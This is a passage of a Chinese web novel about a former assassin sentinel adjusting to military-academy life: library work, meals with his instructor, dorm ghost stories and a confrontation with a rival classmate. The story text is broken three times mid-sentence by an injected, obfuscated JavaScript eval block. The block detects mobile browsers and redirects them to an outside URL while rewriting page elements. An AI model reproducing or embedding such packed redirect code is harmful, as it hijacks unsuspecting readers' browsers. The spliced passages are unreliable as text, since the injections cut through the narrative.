杭知澍犹豫一阵,终于吐露道:“小八爪鱼跟我对练的时候我也没觉得有什么不正常,不知道为什么看他在河马同学身上爬来爬去、拿腿绞人膀子有种说不出的……” 徐榛:“糟心?” 杭知澍:“……嗯。” 徐榛沉吟片刻,手擦擦掏出手机,几秒钟搜出个小甜瓜app的帖子页面:“我知道了,你的心情是这个。” 他把屏幕转过来,杭知澍定睛一看: 《一个没看住,娇养的品种狗把流浪狗骑了》! 配图是只浑身雪白如糯米团的小狗挨在五大三粗棕毛流浪狗旁,后狗比前狗足足大了三圈。 他把手机屏翻转回去,面带微笑,拍拍徐榛肩膀:“表格做好发你了核对一遍中午十二点前要交,回去工作吧师兄。” 徐榛:“扑棱蛾子你是人吗,现在都十一点了!” 杭知澍就怀着这种糟心重返场馆,看见了他养的小糯米狗、呃,小八爪鱼,被热情但高大的同学们团团围住。 很好,小八爪鱼社会化第二步——和同学搞好关系——已经顺利迈出。 场地简单收拾完毕,下一场开始,人自动散去,客惜斓余光警觉地刮过四周,确认无人在意后才向杭知澍走去。 “倒也不必这么小心,我一会儿还要找另外几个同学聊。”杭知澍已经调整好神情,恢复如常,语气温和轻松。 客惜斓两眼一耷,肉眼可见地失落下来:“……哦。” 杭知澍想:果然,下垂眼真的很像小狗。 在错晃的人群间捕捉到他身影的一瞬,表情也像盼到主人来接的小狗。 高级别向导罕见于哨兵,今年的三个A级就全是哨兵,其中一位完虐一名B-5,另两位凑到一起。场上进行的正是众人期待已久的A级哨兵间对决,因而此刻,无人有暇在意他们俩的对话。 “虽然样本还不够多,但目前看来你的想法确实具有可行性。以目前B级前期的精神力控制程度,隔了层精神体再及时收回,不会对人体造成损伤。”杭知澍一面望向场中,关注双A战况,一面先挈起话头,“这次的尝试开了个好头,这样在现阶段也能把你的毒素应用起来了。” 他没说的是:不知道如果进一步提升等级和精神力,是否有朝一日真的可以做到控制精微、收放自如。 他想,无论客惜斓的潜能上限是多少,都先不要给小八爪鱼太多压力。 杭知澍自己一向心态知足,这个世界上终究佼佼者稀,何必相竞自苦,B级哨兵已经超越很多人,无论停留在哪个级别都有自己的活法。 客惜斓得了他的鼓励,开心雀跃起来,脸上终于袒露出笑意,忍不住偏头瞧他。 教官在看对战,他在看教官。 屏障内精神力相击,迸溅,光彩遥远燦烂,泼到杭知澍侧脸。 “……过来找你还有件事。” 杭知澍不是没发觉小孩的目光,但并未对此流露反应。其实倘若不是此刻有事告知,他更希望客惜斓能趁此机会多和同学熟络,他知道一个内向的人在有更熟悉对象在场的情况下,与其他人社交的意愿会大幅度减小。 别人养毛孩子,他养了个触手孩子,该操心的一样不少。 “之前提过的校内勤工俭学,你现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418400|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在过了B级就可以申请了,”他拿出校内通讯器晃了晃,“详细文件我会发到你通讯器上,你看看有什么特别不想去的地方不要勾选就行。人数有限,越快提交申请成功的几率越大。” 杭知澍叮嘱完,又交代了几句生活相关,就准备对照着名单去找其他几位符合条件的新生。 “对了,”临走前他忽然想到了什么,又转过身来,看到客惜斓静悄悄亮起的眼眸,颇有几分无奈和好笑道,“下次不要吹青提!” 客惜斓心虚地低头,但抬眸,撇着嘴:“……它怎么还跟你告状啊。”扑棱提子还挺小气。 杭知澍无可奈何地伸出食指,戳了一记他眉间,以示警告。 什么告状,那是他的精神体,他会感觉不到吗? - 客惜斓获得教官肯定,更加坚定了要尽快提升等级的想法。 上辈子为了生存,这辈子为了生活,无论如何,想要跟饲养员永远在一起,首要的就是提升等级。 还有搞钱。 客惜斓在食堂排队时递交了勤工俭学申请,果然如杭知澍所说,早来人少,审核得很快。 分配到下午的对战以C级学生为主,他不打算继续围观了,决定下午就到校内图书馆报道。 图书馆是栋四层建筑,最高层是管理员办公室和权限资料库,他只用在二层帮忙。 交接的师姐递给他手写的无照片临时工牌,进出码已经同步到他的校内通讯器上。他注意到师姐的工牌:檀骧,A-1级枯叶螳螂哨兵,三年级。 这位三年级师姐黑衣黑发,一双单眼皮吊梢眼,身姿锋利而高挑,穿上带薄跟的皮鞋后直逼一米八。右耳钳着一只精细夸张的镂空银色昆虫膜翅状耳夹,涂着少见的巧克力棕色口红,说话嗓音低沉微沙,仿佛枯叶窸窣摩擦,语气却捎着股轻飘懒散的冷幽默。 檀骧留意到他好奇的目光:“怎么着,大耳坠子晃着你了?想扑?” 客惜斓摇过头,问她:“学校原来让戴首饰吗?” 他看着贺旗都是把玉牌和手串悄悄塞衣服里的。 “下课时间嘛,训练和出任务就摘掉喽,容易掉还影响拟态。” 檀骧边说边教着他认路,感叹道:“你们这届新生还怪勤快,上午比完吃个饭就跑来了。就刚刚有个小同学已经先来报道了,你是第二个。” 图书馆是香饽饽,有空调冬暖夏凉,不用下地锄草也不用搬运器材,每年都最早选满。 师姐又道:“你们来得快也正好,我会带你们几天,早点交接完我这边也能早点能走人。” 客惜斓闻言便问:“檀师姐之后就不在图书馆工作了吗?” 檀骧“嗯”了声:“今年升A了,一年级以上的A级学生没有特殊情况报备都会录入进学校提供给军队的哨向任务人员备选库,以后要出去风里雨里喽。不过这就比课余时间校内打工拿的高多了,任务积分攒够了还能升职呢。” 原来如此,只要同时满足A级和一年级以上,学校就会允许外派。客惜斓顺口道:“恭喜师姐。” 檀骧领着他进了一间休息室,告诉他以后可以在这休息和打水。客惜斓跟着师姐进门,里边安安静静坐着的人一抬眼,又跟他打了个照面。 是他的室友霍河樵。 10. 第 10 章 我宁愿被发配去种草。 客惜斓生无可恋地想道,脸上冷漠,手却机械而自觉,第八百八十遍把借阅人弄乱位置的书册整齐摆放好,表情活像杭知澍给他放的动画片里一脸麻木加工着汉堡的章鱼哥,电脑上还晾着没录入完的一批新入馆图书信息登记表。 来之前他自己也以为多手多脚的八爪鱼进入图书馆打工正合适,谁料培训头一分钟,师姐和管理员老师就特地强调,不能图省事利用精神体的腕足整理书籍。 纸质书籍材料十分脆弱,就算不考虑蓝环章鱼毒素可能留存这点,光是海洋生物富含的水汽都容易降低馆藏寿命! 八爪鱼湿滑的触腕一缩:那你们找只海鲜来整书是图什么呢! 师姐一本正经:“学校怕你晒化了烂地里嘛,章鱼很容易就干掉的。” 客惜斓:“……学校这么人性化。” 师姐力拊他肩:“好歹这儿有冷气,开心点!” “而且……一年级的精神域认知基础课不是教了吗?多用人类形态做事嘛,虽然我们是能应用精神体辅助自身的特异人群,但也别忘了自己还是个人。”檀骧轻轻摸耳坠,在离开图书馆的前一天,嘴唇梢犹然挂笑,对着他说道。 “精神体毕竟是从属和次要,这么做也是在变相暗示自己,巩固认知哦。” 客惜斓上辈子所在的反派组织推行无纸化办公,电子数据便于携带、传输和销毁,只有发号施令的核心高层才收藏有一些珍贵纸本资料。这并非是组织相比军校科技更加发达的缘故,只是方便随时转移、切断来自正规组织的追踪。说到底纸质书作为旧时代的遗留,有钱有闲的上层阶级才有机会享受,他一个整天打打杀杀、朝不保夕的杀手哨兵,两辈子都没见过堆在一起的这么多纸,现在不是在训练就是在伺候纸。 他想起开学摸底对战抽签那次,教官们直接把白纸揉碎、写号、扔进不透明箱里分抽,和上辈子随组织逃亡、大量哨向一起被扔进集装箱里颠簸运走的记忆影像交叠,恍惚间有了一种很粗浅的明了。 安逸。 只有安逸者才有机会享受文明。 他对着一本沉甸甸的精装硬壳彩色古生物图谱出神半晌,凝视封面图画上斑斓精细的笔触,伸手握着书脊试图把它放回上层,踮起了脚。 努力地在书架前僵持了一分钟。 在图书馆开潜行技能会被扣钱吗。他面无表情地想。 从背后伸来一只手,握在书脊中上段,把图谱利索地塞回了上层。 “谢谢——”他压低声,回头时霍河樵已经一声不吭地转回自己负责的区域。 同寝室一起打工一月有余,这酷哥吭过的声仍然屈指可数,不外乎“借过”、“放这”、“老师找”。 杭知澍说要跟同学好好相处,霍河樵虽然三棍子打不出个闷屁,回了寝室也一个人放下帘子打游戏,但并不是难相处的人,看到室友有事也会搭把手。 所以等到下工时间,他把上周末去杭知澍宿舍进的货、饲养员给八爪鱼当零食的蟹柳和风干鱿鱼片掏出了两板,往收拾书包的霍河樵面前一塞,说了声下周见,就忙不迭地背着包溜了。 霍河樵口味十分奇特,客惜斓和另两个室友观察了一阵,发现他好像确实很喜欢吃学校发的军用营养剂,换别人都恨不得直接销毁,只有野外条件艰难和住院情况下不得不用以补充能量才勉为其难开袋。军用营养剂全是必备营养成分,充饥、补充体力、加速精神力恢复,佐以校医疗研究所调配的匪夷所思口味,主打的一个仿家常菜,什么鱼香肉丝、番茄牛腩、蘑菇炖鸡,实则是闻起来无味、吃起来诡异的半凝固膏体,因为缺少真正家常菜肴出锅的热气,吃着还有种残羹冷炙的感觉,被学生们埋怨已久。 他曾经也是杭知澍眼中突然具现化的社会问题,自然明白不是所有哨兵向导都来自一个有认知、有能力供养的家庭,他们哨兵在没有感官控制装置调节的情况下是无法食用正常调味剂量的人类食物的,霍河樵的籍贯写的就是个偏远的小城市。 首都来的少爷秦罗弗看了咋舌,家里邮寄慰问的零食水果都多匀给霍河樵一份,分送到他时目光心疼又缠绵,就差直接开口说“这是苹果,能吃的”。 客惜斓觉得这玩意倒是比上辈子在组织吃的药品般营养剂口感好上不少,吃那些的时候因为已经习惯,其实没有多余的感受可言,实验室的小白鼠、批量圈养的牲畜摄入饲料能有多大感想?他们必须靠那些定量配给的营养剂维持生命体征,成绩或任务不达标还会被断食水。一直到重回人类社会、吃上了正常甚至美味的食物他才重新建立起关于食物味道的认知。 只是他被杭知澍喂了几个月,嘴巴养刁了,也不喜欢吃校研营养剂。 今天是周五,不知道杭知澍晚饭会做什么! 俩首都室友家远,但学校在陆北大区首府,逢节假日也会上本地亲戚家改善伙食;霍河樵则一直待在宿舍,据说放假也不怎么出校,没排班也喜欢泡图书馆。在客惜斓含糊而省略的表述下他们以为他在本地也有亲戚和住处,周五出去周日回。 潜行,为了避开同学的耳目去教官宿舍蹭饭! 一团漆黑但快乐的阴影鬼鬼祟祟游进了教官宿舍楼,湿黏黏漫上门扉,“嘀嘀”两声,用开通过权限的通讯器刷开了杭知澍的房门。 客惜斓把书包扔在椅子上,精神体扔进水族箱,进了厨房向饲养员报道。 杭知澍见他人回来,才把刷好汁的鳕鱼排平整铺入平底锅,迅速煎出滋滋油香。 给小八爪鱼喂食的频率下降,他也就匀得出工资来购入更优质昂贵的食材,给吃了一星期食堂的生长期小哨兵补充营养。 克莱因降落到一沓错落有致的大部头古典硬壳书堆上,细弱的腕足款款飘落。杭知澍紧跟时事,火速网购了书籍造型的树脂摆件添入水族箱,箱里旧世纪沉船气氛愈浓。 客惜斓跟他汇报一周近况。哨兵训练完很容易饿,所以杭知澍买了散装小零食给他装书包里带上,但又怕他吃太多盐分高、影响牙齿。 客惜斓说大真话:“我分给室友了!没有全部吃掉。” 杭知澍让他张开嘴,检查完一口尖尖白白的健康牙齿,满意地点头,表扬这周也非常乖的八爪鱼。 杭知澍说,他明天晚上要出去吃同学的婚宴酒席,所以明天的晚饭八爪鱼只能一个鱼吃中午剩菜了,然后教他怎么用锅加热。 比起“吃剩菜”,客惜斓显然更落寞要“一个鱼”。 杭知澍也不怎么积极,他叹口气:“又要掏份子钱了,还要……” 还要被到场的老同学调侃催婚。 向导比哨兵好养活,按当前普及率,相当一部分向导会和没有觉醒的非特异者一起按部就班升学,然后在高中毕业后根据自身等级水平考虑是否进入军校等专业组织。 他都掏过初中同学孩子的满月酒红包了。 对刚毕业的单身狗真是很不友好。 再过几年工作稳定了,军方上级也会派匹配指标。他们教官办公室里二十五岁以上的未婚教官都收到过,据说上边还会就近安排匹配度达标的单身哨向互相接触、培养感情。 杭知澍难得一见流露出鲜明的灰暗情绪,消极地用交撑在桌前的手抵住了额头。 “还要什么?”客惜斓翘起的发丝上歇着只淡绿蛱蝶,天真地歪头,凑近他。 “没什么,没事,”杭知澍把成年社畜的消沉独自收拾好,转而提起另一件事,“再过段时间,可能是下个月,学校会让我们带你们一年级出去一趟。” 小八爪鱼的注意力被成功转移:“出去?出校门吗?要去哪里?” “野外生存实践课和作战演练,地点没敲定,估计是去山里。” 客惜斓先是一怔,回神过来后隐隐兴奋:没想到这么快就能跟教官一起出校门,虽然不是去执行任务。 隔天晚上杭知澍打包了酒席上螃蟹龙虾回来投喂他,看他眼睛亮晶晶地嗦着浸了龙虾汤汁的伊面,顿觉一晚上应酬的心累消解泰半。 没什么比看宠物津津有味吃饭更解压和治愈的了,情绪价值拉满。 星期日满载而归地回了宿舍,趴在床上,静待熄灯。客惜斓没有把教官透的口风漏给同学的习惯,但显然听得着风声的不止他一个,红毛心里憋不住事,床帘里翻滚两周,悄悄地出声:“都没睡吧?” 贺旗简洁地鸟了他:“有屁快放。” 秦罗弗立刻道:“知道嘛家人们,下个月教官要带我们出去野外实践!去学校外面!” 贺旗:“真假?这么快!” 秦罗弗:“可不!” 客惜斓这才慢吞吞出声:“有听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418401|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。” 秦罗弗:“是吧!” 贺旗:“霍河樵睡觉了?” 霍河樵又沉默几秒:“还没。” 他们都醒着,整楼的灯方才已经熄掉,此时寂静漆黑一片,于是都配合地用气声说话,怕引来巡夜的宿管。 秦罗弗分享完野外训练的情报,顿了顿,忽然嘿嘿地傻笑。 贺旗隔着帘子怼他:“又抽哪门子风。” 秦罗弗却兴致盎然:“我感觉我们现在气氛贼好,适合夜聊——这么兴奋的事情你们听完了这会儿能睡着?我是不能。” 客惜斓倒是还好,他乐也乐过了,没必要再跟着乐一次,但——“要聊什么?” 八爪鱼很好奇。 秦罗弗话匣子一开收不住了:“以前没住过宿吧?我也没,这环节我可期待一个多月了你们咋都没人提,急死我了唉。”然后在贺旗出声呛他前急急往下说:“就聊一些神秘事件,超自然事件,宇宙的本源,进化的方向,哨向的——” 他灵感一亮,接道:“哨向为什么会出现!” 黑暗的寝室内一时默然,片刻后贺旗嗤了一声。 秦罗弗不甘静默,主动撩话:“说说嘛,我不信你们打小到大没好奇过,大家都是人类怎么啪嚓一下就变异出了我们呢。”他见还没人搭话,开始点名:“客惜斓霍河樵你俩待图书馆这么久了,图书馆没书研究这方面吗?肯定有!” 霍河樵没应声。客惜斓直白道:“有,但我没翻开看。” 秦罗弗失望地呃嗷一声:“老霍!” 这回贺旗竟没有打岔制止他,客惜斓满以为霍河樵会继续无视,甚至翻身以示准备入睡,被点名的人却开了口:“都是猜想,我打开只扫了眼目录。” 没等秦罗弗追问,霍河樵直接简明扼要道:“外星人、陨石、大灾难。” 前两个都司空见惯得很,能用来猜测和解释一切超自然现象——好奇八爪鱼又捧场地吱声:“大灾难?” 贺旗:“……啊啊!都让你别顺着他了。” 霍河樵明显不想进行一段冗长的讲解,秦罗弗热情解答:“我知道!大灾难就是,就是那种自然之谜,像比如最著名的世界三大自然灾难之谜,有一个就发生在古代我们P市的地界!” 客惜斓专注聆听室友夜谈科普,仿佛在纯然地听故事,又因为其中夹杂的地名勾起对往事的回忆。 三大自然灾难之谜最遥远的一起发生在公元前一千多年,今悉南半岛上I国境内的摩琢古城遗址,该城址至今没有人重新定居,因为在三千多年前的一天,整城池的人因不明原因突然死去,摩琢沦为只有骸骨的寂静死城,千年后人们考察,用现代设备在骸骨上检测出了骇人的异常能量波动,一时间众说纷纭,却从无定论。[注1] 摩琢……他没有去过那座死城遗址,但去成了悉南半岛,那里的部分地区终年炎热酷晒,异常状态暴露后组织高层曾想让他一个海洋精神体深入森林、埋骨那里,最终因军方那段时间的频繁动作而作罢,急召他回。 幽绿原始森林深深地隐着灰暗的符号化石像,那些怀着沉寂而郁暗心情阅览过的图像苒苒地浮出脑海,再一次淹没他负荷着浓密疲惫的躯体。 第二起就是发生在古代C国皇城的兴敬坊火药厂爆炸事件,五世纪前王朝垂暮,地震,爆炸,裸而失去肢体头颅而亡的人堆拱而起,衣物高挂在郊外山间树枝上,大批人类凭空消失,空中聚涌起黑灵芝状的浓云。[注2] 那不就是蘑菇云吗?那可是古代啊。 他当然去过C都,却从不知道那里的地下竟然埋藏着这种事。 第三起……第三起很近,一百多年前。 客惜斓这时竟觉得潮水般的疲惫掀闸而来,脑后起了一阵薄薄的耳鸣,像有浮泡从沤胀的礁石表面鼓出。他听到模糊潮湿的音节,脑子里却能自发地把它们都拼凑出来:塔戈斯……陨石坑……耶赛河入海口……[注3] 入海口……海…… 绝望的女人面孔映入摇晃眼帘,染血的苍白纸页掠过发暗视野。他被什么粗粝但柔韧的容器网住了,从冰冷大海里缓缓上升,空气涌入柔软躯体里裹着的心脏,一起涌入的还有紧攥心脏的恐惧。 那三颗心脏一直嗵嗵跳,猛力收缩,喷出氧气,直到被从一团软烂肉质里剖出,仍在跳。 11. 第 11 章 熄灯夜聊的后果就是眼下明晃晃的青黑。 客惜斓做了一晚上被泡进冰海又捞起来活剖的噩梦,面如雪白冻鱿,眼珠洞黑,脑袋一掉一掉,嘴巴呆滞微张,往外蔫蔫地出着无形魂烟。 室友也好不到哪去,秦罗弗两眼发直地跑着圈,在他身后速度渐缓下来,梦呓般踌躇地开口:“我昨晚梦见咱胡同里堆满了……” “……闭嘴!”被同样整宿梦魇的贺旗一记白鹤亮翅打断施法。 霍河樵抿着嘴默默晨跑,被寝室同款黑眼圈出卖。 负责晨训的教官吹过集合哨,满脸狐疑地挨个打量他们:“你们一个寝室的昨晚上偷偷干吗了?” 秦罗弗诚实异常:“报告教官,讲鬼故事,做了一晚上噩梦!” 周围顿时爆发出一阵笑声。 客惜斓乱泛泡的脑浆刚收匀了些,就听见周围大笑,茫茫然转眼看向室友:“……在笑啥?” “笑咱傻缺呢,”贺旗幽凉亲切地应他,“多好,抢救了一把开学咱屋人四分之三把对手往晕了整的歹毒形象。” 这里边有一半掺的是玩笑话,军校对练如吃饭喝水,胜败都是常事,输不起才显得怪异。比如贺旗和长颈鹿同学打完一场照样是不太熟但能唠的同学关系,霍河樵在寝室外也统一保持着冷淡疏离,不过多和人交往也没刻意避让。 至于不是玩笑的另一半……灰狼哨兵至今对秦罗弗退避三舍,大概是后者在打晕前者后陪护得太过热情,把毛绒活生生撸出了心理阴影。 对毛长绒密的精神体而言,一些海洋生物滑腻而多须,会唤醒来自基因深处的古老恐惧。 对虽然寡毛鲜绒,但被章鱼爬过的河马同样如此。 小小一个客惜斓,走在下课的人群堆里随时能被淹没,偏偏能吓得人高马大的弓崖立马转身绕路,实在避让不及,直接弓起腰躲到同学身后。 客惜斓余光掠过,并未放在心上。 他满脑子想的是下节就是杭知澍的课。哨兵和向导的课程安排并不一致,有的需要分开上,有的合并,他并不如开学前想象的能那么频繁地在上学日里见到杭知澍,杭教官更多时间在给向导们上课。 虽然昨天才从教官宿舍收获满满地出来,一想到间隔十几个小时又可以见到杭知澍,八爪鱼眼梢眯弯,嘴角有些控制不住地上扬:又幸福了! 擦身而过,冷不丁边上传来一声:“得意什么。” 杀手对敌意和目光极为敏感,客惜斓睁着漆黑冰凉的圆眼核,返过半张脸,眼梢下撇,从人堆里回望,精准地盯向对方。 对方也挑衅般地直视回来,黑发底下一双淡琥珀色近金黄的眼珠锋锐,双手插兜,气势逼人。 哦,是那头开学评级时他围观接生过的A。客惜斓回想起来。 那头黑豹。 黑豹哨兵丝毫没掩饰语气的不善:“用毒赢了算什么正道。” 客惜斓眉梢缓慢地抬高一点,维持那个侧身而立的姿势,没再转动更多幅度。依旧是那张清秀得堪称软糯的脸,面色如常下舌尖抵着白森森上牙内侧,从口腔里摩出了一个轻细却清晰的“啧”。 这是从哪里冒出来的很麻烦的小年轻啊。 他没有和人争辩甚至对话的想法,径自收回视线,看了眼通讯终端上显示的时间,继续向下节课的教室走去。 当然是占个好座比较重要。 他猜到昨晚一屋子没睡好,室友多半要缩在教室后排补觉,一进教室果然见秦罗弗在倒数二排冲他招手,贺旗更是已经脸枕臂弯、就着桌面歇下了,霍河樵一个人坐在教室中段,位置不前也不后。客惜斓摇摇头,指指更前排,径直走过去。 他找了个即使台上教官坐着也能看清全脸的位置,坐下,两手的腕子翻向自己,拿手套仿尼龙带扣和袖口之间露出的那截小臂皮肤凑到自己脸颊两侧,夹住脸,猫狗甩水般依靠快速摇头揉搓起脸颊肉。 然后掏出镜子一检查:脸颊扑红,气色健康! 这是课前准备! 心机八爪鱼掸顺头上翘毛,满意地收回道具,顶着人工搓出的淡淡红晕坐正。 他也不是完全不能理解秦罗弗,哨兵的脖颈子上常年箍着制式漆黑颈环,再配个实体化的毛绒耳朵,有这方面兴趣爱好的很难招架住。 他偶尔会想要是自己也有毛绒绒耳朵就好了,又寻思不掉毛也不失为优点一桩,给饲养员减轻家务负担。 做宠物,要学会可饲养员的心! 这门是半理论课,主要讲解一些哨兵向导执行任务的规章,这一堂刚好到留小组作业的时候,客惜斓还在盯着杭知澍的脸专心致志跑神,就看见教官喝了口保温杯,随意地往他所在的方向一指:“四个人一组,就按座位分吧。” 分啥玩意? 按啥座位? 后头有人反应比他更快,“噌”一下站起来:“我才不……” 客惜斓愣愣地一回头,看见相隔一排站着刚才走廊里想找事的黑豹哨兵,又转头,看着杭知澍平静地放下保温杯,声音温和地点了对方的名:“边越同学,你有什么问题吗?” 合金保温杯磕上讲台的声音不轻不重,足够惊醒后排打盹的学生,一时间全教室的人都茫然惊诧地望向边越,这里头面孔有生有熟、有哨兵也有向导。黑豹哨兵被几十道目光集火般齐刷刷望着,这目光是不解或紧张的,甚至隐约含有对他破坏课堂秩序的指责,和他一向因为评级优异所受到的瞩目艳羡全然不同。他感到犯错示众般的局促,语言中枢宕机,愣是没说出后半句。 杭知澍从容地环顾讲台下:“大家都清醒了吗?早起训练确实辛苦,醒一醒脑子,听清作业要求,下周不要忘了交。” 说完目光又转回直愣愣站着的哨兵学生,注视着他,道:“有问题可以下课找我聊,先坐下。” 边越:“没、没问题。” “那也坐下,”杭知澍道,“我上课没有罚站的爱好。” 等到下课铃响,杭教官已经走出去有一段距离,教室里少去了大半人,埋在四周讨论声里一言不发的边越再次从位子上站起,一把薅住客惜斓的后领,黑着脸道:“你跟我出去一趟。” 客惜斓正在和另两名小组成员讨论作业分工,见二人噤声,有些不耐烦地回乜他一眼:“干嘛,你要仗着等级高搭我们便车啊?” 边越涨红了脸:“你才搭便车!”看到眼神都不一样了的两名组员,没什么气势地丢下一句:“我找他有别的事!——就按你们分工的做,我自己的部分自己会做!”说完赶忙把客惜斓扯走。 边越一路拎着客惜斓到教学楼后背阴的空地,撒开,很嫌弃地皱着眉头拍手,仿佛沾到了什么不干净的东西。客惜斓目光刮过一圈,拇指一倒,冲着那几棵冠及二楼的树晃了一晃:“你树瘾犯了要别人看着爬吗?” 然后不等奓毛的猫科哨兵发作,脸未抬,黑眼珠上抵目线,蛰在刘海披垂的阴影里,盯着他的眼睛,语气轻飘而阴凉:“如果我刚才真有放毒,你以为拍拍手能管用吗?” 浸在浓密琥珀色里的漆黑瞳仁拧成了两枚尖楔:“你承认了,开学摸底的时候是靠放毒才赢的比试。” 客惜斓收回前倾的上半身,略微歪头,用一种端详神经病般的眼神仔细盯了他片刻,才又奇又疑道:“我也没隐瞒过啊?” 风吹过,树荫幽深窸窣,分离的落叶自上方坠落,飘旋而下。 “你去问问裁判,问问在场的其他教官,他们真的不知道我用毒了吗?” 他接着反问:“有规定有毒动物精神体不准用毒吗?” 边越拧眉道:“所有人比试都是靠真拳实脚和精神体技能,你靠一个放毒取胜,就是旁门左道。” “因为我精神力还不够啊,”客惜斓叹口气,很伤脑筋的样子,索性开门见山道,“A-1级黑豹精神体,你无非是以为在场只有你有足够强的动态视力看清是我在刀上抹了毒,但你要不要猜猜,为什么我从头到尾不放精神体出来?” 他抬起无论昼夜牢牢戴着特制黑手套的手,做了个开枪的恐吓手势,相隔两米内,对准楼体阴影冲刷下的年轻哨兵,嘴巴发出“砰”——薄薄的一记拟声。 “我开发精神力到B级之后,现在这个距离,已经够我直接毒杀不具现化精神力护盾的你;如果是我的精神体,部分甲壳类和A-3以上不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418402|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,把你A-1豹子的护盾腐蚀出一个窟窿还是有把握的。——直接接触蓝环章鱼的后果,你哨向生物通识课应该没翘吧?” “我现在B级,还有个第二技能没用呢。” “无论在比试场上,课堂上,还是现在,我都要分出目前三分之一的精神力压制自身毒性。但是我为什么不能想赢呢?流言蜚语,我不赢会被看不起,而我并不是没本事赢——你觉得这样的前置条件符合你所认知的公平吗?三分之二的B-2和完整的B-4对战,或者是完整的,A-1?” 客惜斓心平气静道:“你把我拉出来,是想和我打一场吧?如果在人多的地方,我肯定会扯着嗓子告诉所有人你要以强凌弱以A欺B,因为对我而言只有两种情况——” “宰了你,和被你按着打。” 边越浓黑的瞳孔形状在圆窄之间变幻消长,被成串质疑和叩问绕进去,想反驳,一时间却找不到余地。 如他所言,隐藏的优越感被拆穿,明面的正义感被动摇,伴随对蓝环章鱼剧毒存在合理性的犹豫和一丝潜意识恐惧交错盘杂在一起,牵绊着他的口舌。 客惜斓说完一长串,口都有些干,眼皮蔫蔫耷着,反手一指树上:“让你同伙下来吧。蹲那么高不累吗?两个A埋伏一个B,素质一般啊。” 客惜斓满眼谴责。 边越一怔:“什么同伙?” 树上传来叹气。 猫似的哨兵沿树干遛身而下,轻巧地落到地,除了碎裂的枝叶光斑没溅出片点声音,几步走上前,露出披曳的灰金蓬乱中长发和一双褐金眼眸,身上沾着树叶,显得悠然不修边幅。 客惜斓眨过眼,又搬出认真而稚气的神态:“同学,校内不可以上树。” 猞猁哨兵笑眯眯插着兜,模仿着他说话的语气:“我下次一定注意,你可以不报告教官吗?同学。” 客惜斓不应声,眼仁一挪看向边越,仿佛在说:喏。 边越瞳孔地震:“你跟着我?什么时候开始跟的?不是林悬眠你跟我干嘛?” 八爪鱼暗自啧啧:好烂的侦察力。 A-1级猞猁哨兵林悬眠慢条斯理道:“奉您双亲之命看着您啊,少爷。” 杭知澍说过有权势的哨向大家族会收一些科属相近的附属,这黑豹黄猫大概就是这种关系了。 边越脸上神情变幻,忽青忽白,终于意识到自己全不占理——林悬眠是自家附属,这阵势看着像仗着等级权势霸凌一样! 客惜斓鄙夷地用鼻子哼了一声。 趁自家脑回路稚嫩的少爷又羞耻卡壳,林悬眠从衣兜里掏出一小把糖,猫眼眯翘,冲客惜斓道:“谢谢你刚才没有宰了他,要不然我可没法跟他父母交代啦。请你吃牛奶糖,不黏牙的,可以吗?” 客惜斓端了一会儿架子,伸出了手。 糖粒粒落下,被覆盖漆黑手套的掌面精确地接住。 客惜斓才不想跟他们久话,礼貌地对黄猫说完谢谢,攥着领到的糖转身就迈步离开,步伐一脚一脚,身影很是淡定。 林悬眠回过头,散空了糖的手又没进兜,直接打断道:“回神了少爷,再不走食堂没饭了。” 被打断脑海天人交战的边越话到嘴边,还是没问出对方到底是同样有意愿报考还是纯粹因为自己过来陪读,最终撇过脸,说:“谢谢。” “谢什么?今天看着你还是一直看着你?”林悬眠悠悠道,“如果是今天的,我可不敢居功。” “你得谢谢教官。” …… 客惜斓走出这片教学楼,走过了操场,一直到进入食堂,努力忍住了回头往上望的冲动,低温的身体被日光晒得隐隐出汗。 他暗暗地、长出一口气。 投下阴影的教学楼上,窗玻璃前,杭知澍拿起搁在一旁课桌上的水杯,转身走出这间教室。 那个距离向导应该听不清,他从头到尾都控制着音量。客惜斓拿小臂揉了揉脸,咕哝道:“今天表现得还好吧?” “爱护同学,跟同学好好相处,要跟同学讲道理。” 八爪鱼如是重复一遍,忍不住心想:还好是个中二病,能靠嘴炮糊弄过去! 12. 第 12 章 客惜斓边走边寻思:果然军方哨向是个圈,军校是个小圈。又是买一送一,这叫什么,熟人、竹马?他寝室里那俩也有点那意思,秦罗弗说他们那儿管这叫发小。 刚迈进屋,叉腰站地上和铺位里发小互呛的秦罗弗立马回头,招呼他一声:“上哪了?怎么才回来。” 这俩属于理论课一放百米冲刺去食堂的那种,完全没缘分看着后面那茬。 客惜斓如实以告:“被人找了。” 